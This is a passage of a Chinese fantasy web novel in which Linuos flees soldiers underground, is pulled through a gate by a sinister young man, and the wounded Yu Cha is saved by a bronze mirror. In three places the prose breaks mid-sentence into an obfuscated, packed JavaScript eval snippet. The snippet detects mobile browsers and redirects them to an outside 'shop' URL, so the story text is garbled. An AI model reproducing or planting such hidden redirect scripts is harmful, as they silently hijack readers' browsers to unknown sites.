整个行动行云流水,不过两三息时间。等平台上的士兵扑灭那点小火焰,重新点燃火把,惊魂未定地四处张望时,除了地上泼洒的灯油、破碎的陶灯、松脱晃荡的绳索,以及井道深处隐约传来的、仿佛落石般的细微声响,他们什么也没发现。 “刚……刚才是什么东西?”一个系绳索的工匠结结巴巴地问。 “好像……有个黑影……”士兵不确定地说。 “是野兽?还是……”队长脸色惊疑不定,他冲到井道口,向下张望,只有深不见底的黑暗和隐约的水汽。“下面有动静!快,把绳子固定好,派人下去看看!其他人,守住这里!提高警惕!” 他们以为是井道下面有什么东西上来了,或者发生了塌方。注意力完全被吸引回了井道和可能的下方威胁。 没有人注意到,在主坑道的阴影里,一个浑身湿透、血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的目光快速扫过坑道两侧。除了主通道,还有一些分支的小巷道,似乎是通往不同的挖掘面或通风口。 其中一个分支巷道,隐约有较强的空气流动,而且传来隐约的水滴声和更清新的空气味道。更重要的是,那条巷道口虽然也有火把,但守卫相对松懈,只有两个看起来疲惫不堪的劳工靠在那里打盹。 或许……那里通向地下河的另一条支流,或者一个更接近地表的裂缝? 赌一把! 利诺斯深吸一口气,趁着克里同一行人还没走到近前,坑道里的人员注意力被吸引过去的瞬间,他如同狸猫般从藏身处窜出,低着头,弓着身,用一种看起来像是受伤后蹒跚、但又带着急事要办的姿态,快速走向那个分支巷道口。 他故意咳嗽了几声,声音嘶哑含糊。 巷道口的两个劳工被惊醒,睡眼惺忪地看向他。 利诺斯没有停留,也没有看他们,只是抬起沾满血污泥泞的手,随意地朝巷道深处指了指,含糊地嘟囔了一句:“……队长叫……取东西……” 他的样子太惨,语气又带着一种不容置疑的急促,加上坑道里本就嘈杂混乱,两个半梦半醒的劳工根本没有起疑,下意识地让开了路,甚至没有多问一句。 利诺斯一闪身,没入了那条黑暗的、空气流动的巷道。 巷道狭窄曲折,向下倾斜了一段后,果然传来了清晰的流水声。空气也变得潮湿清新。前方,隐约可见水光。 他加快脚步,心中升起一丝希望。 然而,当他走到巷道尽头时,希望瞬间冻结。 巷道尽头是一个不大的地下河湾,河水在这里形成一个回旋。河湾边的石滩上,赫然停着两艘简陋的小木船,还有几个空着的木箱和散落的工具。 但这不是重点。 重点是,河湾对面的岩壁上,有一个明显是人工开凿的、可供一人通过的拱形石门。石门半开着,里面黑漆漆的。 而在石门外的石滩上,站着三个人。 不是士兵,也不是劳工。 其中两人穿着便于行动的深色狩猎装,外罩轻便皮甲,腰佩短剑,身形精悍,眼神锐利,正警惕地扫视着四周。他们的站姿和气息,与普通士兵截然不同,更像是……精锐护卫或雇佣的好手。 被他们护在中间的那人,身形高挑,披着一件带有暗紫色镶边的旅行斗篷,兜帽掀在脑后,露出一头罕见的、在火把光下泛着暗金色的短发,以及一张年轻、苍白、五官深刻却带着一种病态冷漠的俊美面孔。他看起来不过二十出头,但那双深灰色的眼睛,却如同结冰的湖面,没有任何温度,只有一种居高临下的、审视一切的漠然。 他手里把玩着一件东西——一块巴掌大小、边缘不规则、表面闪烁着奇异暗蓝色光泽的金属薄片。那薄片的气息……与这个古老遗迹格格不入,却隐隐带着一种……与之前在“星之眼”星图中看到的、那个深海恶意光点相似的冰冷与疏离感。 年轻人似乎察觉到了什么,缓缓转过头,那双冰灰色的眸子,精准地锁定了刚从巷道阴影中走出的、狼狈不堪的利诺斯。 他的嘴角,极其缓慢地,勾起一丝没有任何笑意的、冰冷的弧度。 “看来,”他的声音清越,却像冰锥划过岩石,“还有漏网的小虫子。” 利诺斯全身的肌肉瞬间绷紧,握着短剑的手指关节泛白。 这个人……不是克里同的手下。他的气质,他手中的诡异金属片,他身边那两位精壮护卫……都说明他来自一个完全不同、且可能更加危险的层面。 是深海外灵的代理人?还是另一股觊觎古老秘密的势力? 无论如何,前有神秘强敌,后有克里同的大队人马。 真正的危险,在这一刻,才露出了它最狰狞的獠牙。 33. 吃人的石门 冰灰色的眸子,如同两枚没有温度的玻璃珠,倒映着地下河湾摇曳的水光和利诺斯满身的狼狈。那年轻人手中的暗蓝色金属薄片停止了转动,边缘流转的光泽似乎随着他注意力的集中而微微内敛。 空气仿佛凝固了。水声、远处坑道隐约的嘈杂,都退成了模糊的背景音。利诺斯能清晰地听到自己心脏在胸腔里沉重而缓慢的搏动,每一次都牵扯着肋间和腿上的剧痛。他浑身的肌肉都紧绷到了极致,但身体却像被钉在原地,不是因为恐惧,而是因为一种近乎本能的警兆——眼前这个看似年轻病弱的人,和他身边那两位沉默如石的护卫,带来的威胁感,远比克里同那些咋咋呼呼的士兵要深沉、致命得多。 “能走到这里,”年轻人再次开口,声音依旧清冷平静,听不出情绪,“看来不是普通的矿工或逃兵。你是……那位女祭司的人?还是碰巧捡到了不该捡的东西的……幸运儿?” 他的目光在利诺斯身上扫过,重点在那把卷刃的短剑、破烂浸血的衣物、以及……利诺斯下意识护在身侧的、那个装着五块碎片的湿透布囊上停留了一瞬。布囊因为浸水而紧贴着身体,隐约勾勒出里面物品的不规则轮廓。 利诺斯没有回答。他在快速评估:距离、对方的武器、站位、以及那个年轻人手中那块诡异的金属片可能带来的未知危险。 硬拼,毫无胜算。即便他状态完好,面对这两个气息沉稳、经验丰富的护卫也未必能讨得好,更何况现在重伤濒死。逃跑?退路已被堵死,巷道里很快可能就会有克里同的人过来。 唯一的变数,似乎是那个年轻人本身。他看起来不像有武力的样子,但那份从容和冷漠,却比任何刀剑都更让人不安。 “不说话?”年轻人微微偏头,这个动作让他苍白的脸在阴影中更显立体,“也罢。我对你的身份和故事兴趣不大。”他的目光再次落在那布囊上,“你怀里那些……小玩意儿。还有,你身上沾着的……不同寻常的气息。把它们交出来,或许我可以考虑,让你死得痛快一点。” 语气平淡得像在讨论天气,但内容却血腥得令人齿冷。 利诺斯握紧了短剑,对方已经察觉到了碎片的存在,甚至可能感应到了碎片所携带的那种与这个遗迹同源的古老能量气息,以及……可能还有刚才在“星之眼”和青铜档案馆沾染的、更驳杂混乱的残留波动。交出碎片?那等于交出他们迄今为止所有的筹码和秘密,然后任人宰割。 他嘴角扯出一个近乎狞笑的弧度,尽管这个动作让他脸上的伤口一阵刺痛:“想要?自己来拿。” 这是挑衅,也是试探。他想知道,这个年轻人的依仗究竟是什么,是他身边的护卫,还是他手里那块诡异的东西。 年轻人灰色的眼睛里,似乎有极淡的、类似嘲弄的光芒一闪而过。“愚蠢的野蛮人。”他轻轻吐出一个词,然后,做了一个极其微小的动作——他只是将手中那块暗蓝色金属薄片的尖端,微微对准了利诺斯的方向。 没有任何光芒,没有任何声音。 但利诺斯却感到一股无形的、冰冷的、仿佛能渗透骨髓的寒意,瞬间锁定了自己。不是物理上的寒冷,而是一种精神层面上的压迫和迟滞感,他的思维仿佛被冻住,身体的动作也变得异常沉重缓慢,就像陷入了粘稠的冰浆之中! 这是什么力量?!不是祭司的仪式吟唱,不是地脉的能量波动,也不是任何他已知的武技或陷阱。这是一种完全陌生的、冰冷的、带着某种非人质感的……精神干扰? 两个护卫没有动,依旧保持着警戒姿态,仿佛对年轻人出手的结果毫不意外。 利诺斯咬紧牙关,用尽全身的意志对抗着那股冰冷沉重的束缚感。他感到自己的心跳在那股力量的压制下越来越慢,血液流动似乎也变得滞涩,伤口处的疼痛都变得麻木起来。更可怕的是,他感到自己与怀中那些碎片的微弱联系,仿佛也被这股寒意隔绝或压制了! 对方的目标很明确——先剥夺他的反抗能力,再轻松取走碎片。 不能坐以待毙! 利诺斯眼中凶光一闪!从小四处流浪、见多识广的他,不是那种会屈服于诡异力量的人。在意志对抗的同时,他的身体凭借着千锤百炼的战斗本能和近乎野兽般的凶悍,做出了反应——他不是冲向年轻人或护卫,而是猛地将身体向侧后方、河湾的水中倒去。 “噗通!” 水花溅起!冰冷的河水瞬间淹没了他的身体,也暂时隔断了那股无形的、似乎主要通过空气或视线传递的冰冷束缚感。水流的冲击和刺骨的寒意让他精神一振,被压制的身体机能恢复了一丝自由。 他落水的位置离那两艘小木船很近。在水下,他拼命划动双臂,忍住伤口的剧痛和肺部的憋闷,如同一条受伤的鱼,猛地窜向其中一艘船的船底。 “嗯?”岸上的年轻人发出了一声轻微的、带着些许意外的鼻音。他似乎没料到利诺斯会用这种近乎无赖的方式摆脱他的凝视。他手中的金属薄片光芒微微流转了一下。 “抓住他。”年轻人淡淡吩咐,声音里听不出喜怒。 两名护卫几乎同时动了。他们的动作迅捷如豹,没有多余的废话,一人直接跃入水中,另一人则沿着河滩快速包抄,封堵利诺斯可能上岸的路线。 跃入水中的护卫水性极佳,入水无声,如同亡灵般朝利诺斯藏身的船底游来。他的手中,不知何时多了一把漆黑无光、似乎是骨质或某种特殊石材磨制的短剑,在水下划过一道阴险的轨迹,直刺利诺斯的腰腹! 利诺斯在水中视力受限,但水流的扰动和杀意让他本能地缩身躲避。骨刺擦着他的肋部划过,带走一片皮肉,鲜血瞬间在水中晕开。 剧痛刺激了凶性!利诺斯反手就是一刀,短剑在水中阻力巨大,但角度刁钻,逼得对方不得不暂时后退。借着这个机会,利诺斯猛地从船底另一侧钻出水面,大口呼吸! 然而,另一名护卫已经等在了他面前,手中的短剑带着凌厉的风声,直劈他的面门! 利诺斯勉强举剑格挡。 “锵!” 金铁交鸣!利诺斯手臂剧震,本就卷刃的短剑竟被砍出了一个更大的缺口,他整个人也被这股力量震得向后倒去,重新跌入水中,撞在船舷上。 实力的差距太大了。即使在陆地上,重伤的他也不是这两个精锐护卫的对手,更何况在水中,行动受限,武器劣质。 水下的护卫再次袭来,骨刺如同毒蛇,这次瞄准的是他的脚踝,意图废掉他的行动能力。 利诺斯奋力蹬水闪避,同时挥剑乱砍,试图制造混乱。他知道,自己撑不了多久了。必须想办法!必须…… 他的目光瞥见了岸上那个始终未动的年轻人。对方依旧站在那里,手里把玩着那块金属薄片,冰灰色的眸子冷漠地注视着水中的搏杀,仿佛在看一场与己无关的戏剧。那份从容,刺痛了利诺斯。 一个近乎同归于尽的念头闪过他的脑海。 他不再试图躲避或格挡水下护卫的攻击,而是猛地深吸一口气,用尽最后力气,将手中的短剑,朝着岸上年轻人的方向,用尽全力掷去! 不是指望能击中。那距离太远,对方有足够时间躲开或格挡。 他的目标,是年轻人脚下那片相对干燥、堆放着一些工具和木箱的石滩。尤其是其中一个半开的木箱,里面似乎装着一些用油布包裹的、可能是引火物或某种易燃原料的东西! 短剑在空中划出一道无力的弧线,叮当一声落在年轻人脚边不远处的岩石上,溅起几点火星,然后弹到了那个木箱旁边。 年轻人甚至没有低头看一眼飞来的短剑,他的眉头却几不可察地皱了一下,似乎对利诺斯这种毫无意义的垂死挣扎感到一丝不耐。 然而,就在短剑撞击岩石、溅起火星的瞬间—— 异变陡生! 那几点微弱的火星,不知是撞到了岩石上某种特殊的矿物,还是引燃了空气中某种极细微的、从木箱油布缝隙中挥发出来的可燃粉尘,亦或是触动了这个古老地下空间中某些残留的、不稳定的能量场—— “嗤——!” 一道明亮的、蓝白色的电火花,竟然凭空在短剑落点附近闪现!紧接着,电火花猛地窜入了那个半开的木箱! “轰!!!” 一声沉闷的爆响,木箱中的东西被点燃了。不是普通的火焰,而是一种剧烈的、带着刺鼻酸味和浓烈白烟的燃烧。火焰呈苍白色,瞬间吞没了木箱,并向四周蔓延,点燃了附近的油布、绳索和一些干燥的木材。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226104|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >突如其来的爆炸和火焰让所有人都是一惊! 两名护卫的动作下意识地滞涩了一瞬。 岸上的年轻人虽然依旧站在原地,但眼中第一次露出了明显的惊讶和一丝凝重。他迅速后退两步,避开蔓延的火焰和刺鼻的白烟,手中的金属薄片举到身前,一层极其淡薄、几乎看不见的暗蓝色光膜瞬间笼罩了他周身,将烟雾和热浪隔绝在外。他的目光锐利地扫过燃烧的木箱和利诺斯,似乎在快速判断这是意外还是某种隐藏的手段。 机会! 利诺斯要的就是这一瞬间的混乱和注意力转移。 他不再恋战,趁着水下护卫因爆炸而分神、岸上护卫被火焰和烟雾阻隔视线的刹那,用尽最后一丝力气,猛地潜入水中,不再试图对抗,而是顺着水流,拼命向河湾下游、那个半开的拱形石门方向潜游而去。 他不知道石门后面是什么,可能是死路,可能是另一个陷阱。但留在这里,必死无疑。冲过石门,或许还有一线生机。 冰冷的水流冲击着他,伤口火辣辣地疼,肺部像要炸开。他凭借着顽强的意志,手脚并用,在浑浊的水中拼命划动。 身后传来护卫入水追击的声音,但被爆炸的余波和混乱稍微延缓。 近了!石门就在前方!透过水流,能看到门内一片黑暗。 就在他的手指即将触碰到石门边缘的瞬间—— 一股强大而诡异的吸力,突然从石门后的黑暗中传来。 不是水流本身的向心力,而是一种更加霸道、更加冰冷的能量牵引,仿佛门后有一个贪婪的巨口,正在吞噬一切! 利诺斯猝不及防,身体瞬间被那股吸力攫住,如同卷入漩涡的落叶,毫无反抗之力地被拖进了石门后的黑暗之中。 “哗啦——!” 水声在他身后迅速远去,火光和嘈杂的人声也瞬间被隔绝。 冰冷、黑暗、以及那股无法抗拒的诡异吸力,包裹了他。 最后一丝意识消失前,他仿佛听到了那个年轻人冰冷的声音,隔着石门和水流,隐隐传来: “……果然是这里……裂隙的入口……” 然后,便是无尽的黑暗与沉寂。 ———————————————————— 地下河湾,苍白的火焰仍在燃烧,发出嗤嗤的声响和刺鼻的气味。白烟弥漫,视线受阻。 年轻人在暗蓝色光膜的保护下,缓缓走到河边,看着那半开的拱形石门。石门后的黑暗如同实质,吞噬了所有的光线和声音。那股隐隐传来的、令他手中金属薄片都微微共鸣的冰冷吸力,正在缓缓减弱、平息。 两名护卫已经回到他身边,身上湿透,脸上带着未能完成任务的愧色和警惕。 “主人,他……”一名护卫低声道。 “进去了。”年轻人淡淡道,目光依旧盯着石门,“也好。省了我们探查的麻烦。只是没想到,开启裂隙的引子,会是一个……将死之人的垂死挣扎。”他语气里带着一丝玩味,更多的却是冰冷。 他抬起手中的暗蓝色金属薄片。薄片此刻正对着石门方向,边缘流淌着比之前更加活跃的、如同呼吸般的暗蓝色光晕。 “这里的脉已经紊乱到这种程度了,连一点外部的能量火花都能引动残留的界力……”他低声自语,“看来,钥匙确实在附近活跃过,而且……不止一把。” 他的目光扫过地上利诺斯遗留的那把破烂短剑,又看向火焰和烟雾之后、利诺斯来的那条巷道方向。 “那个女祭司……还有那个外来者……”他眼中冰灰色的光芒微微闪动,“找到他们。在他们被克里同那个蠢货弄死,或者被裂隙彻底吞噬之前。” “是!”两名护卫躬身应命。 年轻人最后看了一眼那幽深的石门,仿佛能透过黑暗,看到被卷入其中的利诺斯的结局。 “至于你……”他嘴角勾起一丝毫无温度的弧度,“祝你在界缝里……找到想要的答案。或者,永恒的寂静。” 说完,他转身,暗蓝色的光膜收敛,身影很快消失在通往主坑道的烟雾之中。 河湾里,只剩下燃烧的余烬、弥漫的白烟、潺潺的水声,以及那扇如同巨兽之口的、半开的拱形石门,静静等待着下一个闯入者。 34. 半死不活的爬行 黑暗并非虚无。它有重量,有温度,有质地。 利诺斯感觉自己像一枚被投入深海的铅丸,正在穿过某种比水更稠密、比空气更冰冷的介质,不断下坠,不断沉没。周围不是水,不是风,不是任何他熟悉的物质——而是一种无法形容的、介于存在与虚无之间的东西。它包裹着他,压迫着他,却又不完全接触他的皮肤,仿佛隔着某种极其纤薄的、透明的膜。 他听不到自己的呼吸,感觉不到心跳,甚至无法确定自己是否还在呼吸、还在活着。身体的存在感变得模糊而遥远,只有意识还在微弱地燃烧,像风中的残烛。 不知过了多久——也许只是一瞬,也许是永恒——下坠的感觉停止了。 不是着陆,而是被某种力量轻轻托住,然后缓缓放置在一片坚实的、冰凉的表面上。 他趴在那里,剧烈地喘息。空气回来了,冰冷刺骨,带着一种奇异的、没有任何味道的洁净感——空无的洁净,仿佛从未被任何生命呼吸过的、绝对的原初。 他挣扎着撑起身体,摸索着周围。地面光滑,平整,似乎是某种打磨过的石材。没有灰尘,没有苔藓,没有任何自然沉积的痕迹。远处,极其遥远的地方,有一点点极其微弱的光,不是火焰或晶体的发光,而是一种灰白色的、弥漫的、不知来源的微茫,如同黎明前最深重的夜色边缘那一道若有若无的缝隙。 他站了起来——左腿剧痛,但竟然还能支撑。失血和虚弱让他一阵晕眩,他扶住旁边的……什么东西。触手冰冷,光滑,有着规整的棱角。他转头看去,在极其微弱的光线下,隐约辨认出那是一根立柱,表面刻着复杂的纹路。 更多的立柱。一排排,一列列,延伸到黑暗深处,如同沉睡的军队,或沉默的墓碑。 这里是一个大厅。巨大的、空旷的、不知建于何时、也不知遗弃了多久的地下大厅。风格与“星之眼”和青铜档案馆一脉相承,但更加古老,更加……肃杀。 空气里没有硫磺味,没有水汽,没有腐败气息。只有那种绝对的、令人心悸的洁净和冰冷。 他试着走了几步,每一步都在光滑的地面上激起轻微的回响,那回音在空旷中传播得很远很远,仿佛惊扰了千年的沉睡。 怀中的布囊还在,五块碎片沉甸甸地坠着。他摸了一下,冰凉的,没有震动,没有共鸣。这里……似乎隔绝了它们与地脉系统的联系。 他继续向前走。不是因为他知道方向,而是因为停在这里,他可能会被寒冷和寂静杀死。 越往深处走,那些灰白色的微光就越明显一些。他终于看清了光源——是立柱本身。那些立柱表面刻蚀的纹路,会在极深的黑暗中发出极其微弱的、冷白色的荧光,如同深海中的磷光。而大厅的深处,立柱更加密集的地方,有一处明显高出地面的平台。 他走向平台。 平台上没有骸骨,没有器物,没有悬浮的核心碎片。只有一个深深凹陷下去的、光滑如镜的圆形凹槽,直径约莫一臂之长。凹槽底部,刻着一幅巨大的、复杂的、与“星之眼”平台上极其相似的同心圆与辐射线条图案。但与“星之眼”不同的是,这个图案的中心,没有预留任何放置碎片的凹痕——而是完整的、浑然一体的。 仿佛……这里曾经有过某个核心,但已被取走。或者,这里本身就是某个更大系统的接收端,而不是控制端。 利诺斯蹲下身,伸手触摸那凹槽的边缘。冰冷,光滑。指尖所及之处,那些刻蚀的线条似乎……极其微弱地、极其缓慢地,流转过一丝若有若无的灰色流光。不是之前所见任何碎片的颜色,而是纯粹的、无色的、像水银又像雾气的灰。 然后,他听到了声音。 不是通过空气传来的,而是直接出现在脑海里的——一个极其遥远、极其微弱、仿佛从时空另一端穿透重重帷幕而来的共鸣声。不是语言,不是吟唱,而是……钟声?弦音?某种巨大的、古老的、金属质地的嗡鸣,带着穿透千年的疲惫与庄严。 那嗡鸣只持续了一瞬,却在他的灵魂深处引发了剧烈的震颤。 与此同时,怀中的五块碎片,猛然共振!不是之前那种温和的、同频的共鸣,而是一种惊惶的、预警般的、急促的脉冲。仿佛它们感知到了什么巨大的、不可对抗的存在,正在从极深的沉睡中苏醒——或者,正在注视这里。 利诺斯猛地缩回手,踉跄后退。 平台的灰光瞬间收敛,图案恢复死寂。碎片的脉冲也迅速平息,重新陷入沉默。 他大口喘着气,冷汗浸透了后背。 这里……不是“星之眼”那样的观测站,也不是档案馆那样的记录库。这里更像是……某种深层接口?或者,更可怕地——一个被遗弃的、但并未彻底关闭的通道。 而那个年轻人所说的裂隙…… 他转身,想寻找出口,想离开这个令人窒息的地方。 就在这一刻,他看到平台的另一侧,凹槽边缘最靠近地面的地方,刻着一行极其细小的、几乎被磨损殆尽的铭文。 他看不懂。但那铭文的风格——线形的、抽象的、与档案馆碑文同源的——他一眼就认了出来。 他怔怔地看着那行字,心中突然涌起一种极其复杂的感觉。不是恐惧,不是困惑,而是一种沉甸甸的、近乎悲凉的明悟。 这里,是母神文明那个庞大网络的末端之一。是那个跨越大陆与海洋的系统的边界。是回响所能抵达的最远处——以及,裂隙开始的地方。 而那个年轻人,那个手持暗蓝色金属薄片、拥有诡异精神力量的人,不是第一个找到这里的访客。 他,甚至可能不是人类。 ———————————— 同一时刻,山腹深处,台阶通道的阴影里。 余茶蜷缩在那处岩石凹陷中,如同一只被遗弃在荒野的、奄奄一息的幼兽。周围是绝对的黑暗。利诺斯离开后,她独自在这里度过了仿佛一个世纪那么长的时间。 上方,隔着重重的岩层和曲折的通道,隐约还能听到偶尔传来的模糊人声、金属敲击声,以及……刚才那一阵突如其来的、沉闷的爆响和骚动。她的心瞬间提到了嗓子眼——是利诺斯?他做了什么?他现在怎么样了? 她屏息倾听,试图从那遥远而混沌的声响中分辨出任何与利诺斯有关的线索。但声音太模糊,太混乱,很快又平息了下去,只剩下零星的、难以解读的窸窣和脚步声。 然后是更长的寂静。 没有脚步声向她藏身的这条侧向通道靠近。也没有利诺斯回来的动静。 他……是成功逃脱了?还是…… 她不敢再想下去。寒意从四面八方渗透进来,不只是寒冷,还有那种被遗弃在深渊中的、无边的孤独。她抱紧怀中那面夔龙纹铜镜和那块从水底捞出的青铜残碑,这是她身边仅有的东西。 铜镜冰冷沉寂,青铜残碑上的纹路在黑暗中完全无法辨认。所有曾短暂依仗的力量,此刻都如同死去一般。 她的左脚已经完全失去知觉,从脚踝到小腿中段,整个区域肿胀冰冷,皮肤呈现紫黑与苍白交杂的颜色。刚才浸水后重新包扎的布条早已被血和脓液浸透,紧紧粘在伤口上,每一次脉搏都带来一阵钝痛,那是组织坏死的征兆。她知道,如果再不得到有效的治疗,这条腿保不住了,而失去一条腿在这个时代意味着什么——意味着被彻底剥夺行动能力,意味着在追捕、饥饿、寒冷面前没有任何反抗余地,意味着成为彻底的累赘,然后被丢弃、被遗忘。 她低头,在黑暗中看着自己的左脚。虽然什么也看不见,但她能想象那狰狞的样子。之前在南湾洞穴攀岩时,她还能用意志压过疼痛,在利诺斯背上扮演不那么累赘的角色。在神罚之面下,她还能用匕首划开自己的皮肉,以血为祭强行开启密道。在星之眼的石室,她还能承受那撕裂意识的记忆灌入。 但现在,她的身体已经到达极限了。不是意志不够,是燃料已经耗尽。 恐惧如同冰冷的藤蔓,从左脚开始,缓慢地缠绕上她的心脏。 她其实很怕死。一直怕。但更怕的是……在死之前,先一步失去作为人的尊严,变成一件需要被背负、被怜悯、最终被遗弃的沉重行李。那个来自现代世界的、习惯将一切计算清楚、从不依赖他人的“余茶”,正在这黑暗中被一点点剥离外壳,暴露出里面那个脆弱、恐惧、渴望被抓住又怕被抓住的……陌生的自己。 她用力咬住下唇,血腥味弥漫开来,疼痛带来了短暂的清醒。 不。不能在这里等死。不能就这样放弃。 利诺斯离开前把铜镜和残碑交给了她,这说明他认为这两样东西至关重要,甚至比他自己携带更安全。她必须守住这些东西,也必须……想办法活下去。 上方再次传来声响。这一次,更近,更清晰。 是脚步声,以及压低的人声。 “……这边有条侧巷……被碎石堵了一半……之前没注意……” “……搜!克里同命令,任何可疑的通道、空隙、洞穴,都要查探清楚!那个闯进来制造混乱的家伙肯定还有同伙!” 余茶的心跳几乎停滞。他们下来了!不是利诺斯,是士兵! 脚步声越来越近,火把的光开始透过通道拐角的岩壁,折射出微弱的、摇曳的红光。人影在墙上晃动,距离她藏身的凹陷不到二十步。 没有退路。她的左脚完全无法移动,即使能移动,也无法在黑暗中无声无息地逃离。这里唯一的掩体就是这处岩石凹陷,但并不是什么密不透风的暗室——只要士兵走到这个位置,举着火把往里一照,立刻就会发现她。 她握紧了那面铜镜,镜背冰冷的夔龙纹硌着掌心。又缓缓松开。镜子不是武器。残碑也不是。 她将这些东西紧紧抱在怀里,缩进凹陷的最深处,尽量减小自己的体积。她的呼吸压得极低极低,心脏却疯狂擂动,几乎要震碎胸腔。 火把的光越来越亮。脚步声越来越近。 “……这边来!这块碎石有刚被踩过的痕迹!” “小心!可能有埋伏!” “怕什么?两个重伤的人,还能杀人吗?” 三道人影转过拐角,出现在通道中。当先一人举着火把,身后两人手持长矛,警惕地扫视着狭窄的空间。火把的光扫过岩壁,扫过地面,一寸寸逼近那处岩石凹陷。 余茶屏住呼吸,将自己的脸埋入臂弯,仿佛这样就能隐形。 火把的光,已经照到了凹陷边缘。 然后—— “嗡——” 一声极其轻微、几乎被心跳和脚步声掩盖的金属嗡鸣,从她怀中的铜镜上传来。 余茶心脏猛地一缩! 与此同时,她感觉到,那块从水底捞出的、被她压在铜镜下面的青铜残碑,竟然微微震动了一下。 不是镜子的共鸣,是残碑本身的震动。而且震动的频率……与之前任何一次都不相同。更低沉,更短促,像是某种……呼应?或者警告? 不对!镜子没发光,残碑也没发光,为什么会有震动和嗡鸣?! 火把的光在凹陷边缘停住了。举着火把的士兵似乎听到了什么,侧耳倾听。 “……你们听到什么声音没有?” “没有。别发呆了,赶紧搜完这边,回去复命。” 士兵迟疑了一下,还是举着火把,向凹陷内探来。 火光即将照亮余茶苍白的脸—— 就在这一刻,异变再次发生。 她怀中的镜子和残碑,此刻,在同一瞬间,齐齐发出一道极其短暂、极其强烈、如同求救般急促的脉冲共鸣。 “嗡——!!!” 这一次,声音清晰得连三个士兵都听得一清二楚! “什么东西?!” “在那边!凹坑里!” 三道火把同时照向凹陷! 余茶暴露在光中! 她没有抬头,没有尖叫,甚至没有试图逃跑。她只是死死抱着怀里的镜子和残碑,浑身僵硬如石。 完了。 这个念头冰冷而平静。 然而—— 脉冲共鸣发出后,那三名士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226105|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵,在听到嗡鸣、看到凹坑里确实有人影的瞬间,却同时僵在原地,如同被石化。他们的表情凝固在惊骇和警惕的瞬间,眼睛睁大,嘴巴半张,却发不出任何声音,身体也无法移动分毫。火把从其中一人手中滑落,在空中缓慢地翻滚,竟如同被投入粘稠的蜜糖,下落的速度异常缓慢、异常诡异。 余茶怀中的夔龙纹铜镜,镜面突然泛起一层极其淡薄、几乎透明的、灰白色的流光。那流光没有任何热度,却带着一种亘古的、威严的、不容亵渎的压迫感。流光从镜面溢出,如同轻雾般弥漫开来,笼罩了余茶全身,并迅速向那三名士兵蔓延。 流光触及第一名士兵的刹那,他眼中的惊骇与挣扎骤然熄灭,取而代之的是一种空洞的、失神的、仿佛灵魂被抽离的茫然。他的身体摇晃了一下,然后如同木偶断线,直直地向前栽倒! 第二名、第三名士兵同样如此。没有惨叫,没有挣扎,只是瞳孔涣散,意识消散,像三具被突然抽空内容的躯壳,软倒在地。 火把落在地上,嗤嗤燃烧,照亮了这诡异的一幕。 余茶跪坐在凹陷中,怀抱着镜子,浑身战栗,几乎不敢相信自己的眼睛。 她低头看向铜镜。镜面那层灰白色的流光正在迅速消退,夔龙纹路再次变得黯淡无光,仿佛刚才那一切只是一场幻觉。 她又看向倒在地上的三名士兵。他们还有呼吸,脉搏也在微弱跳动,但眼神空洞,口涎垂落,如同植物人。 她……不,是镜子……做了什么? 她猛地想起“星之眼”石室中那些灌入脑海的知识碎片,其中有一段极其模糊、始终无法解读完全的警告,此刻如同闪电般划过意识: “……守视者临终之铭……非授权者觊觎核心印记……则心脉断锁……意识隔绝……” 心脉断锁。意识隔绝。 这是……系统最后一道、玉石俱焚般的防御机制?还是镜子作为守视者凭证所附带的同归于尽式保护? 她不知道。她只知道自己刚刚从必死的绝境中活了下来,以一种她完全无法理解、也完全无法掌控的方式。 左脚传来的剧痛将她从震惊中拉回现实。她低头,鲜血正从包扎的边缘缓缓渗出,染红了身下的岩石。刚才那阵剧烈的脉冲共鸣和流光的释放,似乎对她的身体造成了某种额外的负担——或者,是她的生命体征已经微弱到接近那个防御机制触发的阈值。 她不能留在这里。士兵搜过来了,第一批人虽然被击倒,但很快会有第二批、第三批。而利诺斯……依然没有回来。 她将铜镜和残碑重新抱紧。然后,她用仅剩的右手,扒着岩石,拖着完全无法用力的左脚,一点点、一寸寸地,从凹陷中爬了出来。 火把的光照亮前方——那条利诺斯离开时走的路,向上通往平台和井道入口的方向。那里有克里同的大批人马。 另一条,是她刚才隐约注意到的、在凹陷更深处、被一块半掩的岩石挡住一半的、极其低矮狭窄的缝隙。那缝隙极其隐蔽,若非趴在地上,根本看不到。而且,有极其微弱、几乎察觉不到的气流,从里面缓缓流出。 她选择那条缝隙。 她不知道它通向哪里。不知道里面是否有出路。甚至不知道自己是否还能爬进去。 她只知道,这是此刻唯一的选择。 她将镜子、残碑一一推进缝隙,然后,用右手扒着冰冷的岩石,将完全不听使唤的左脚拖在后面,如同一条濒死的、被斩断一半身躯的虫子,一寸寸挤进那道黑暗狭窄的裂隙。 身后,火把的微光越来越远,三名士兵空洞的躯体横陈在地,如同无言的墓碑,标记着她又一次死里逃生的轨迹。 前方,是无边的黑暗、未知的命运,以及……一阵隐约的、从极深处传来的、仿佛金属在远古沉睡中发出的悠长回响。 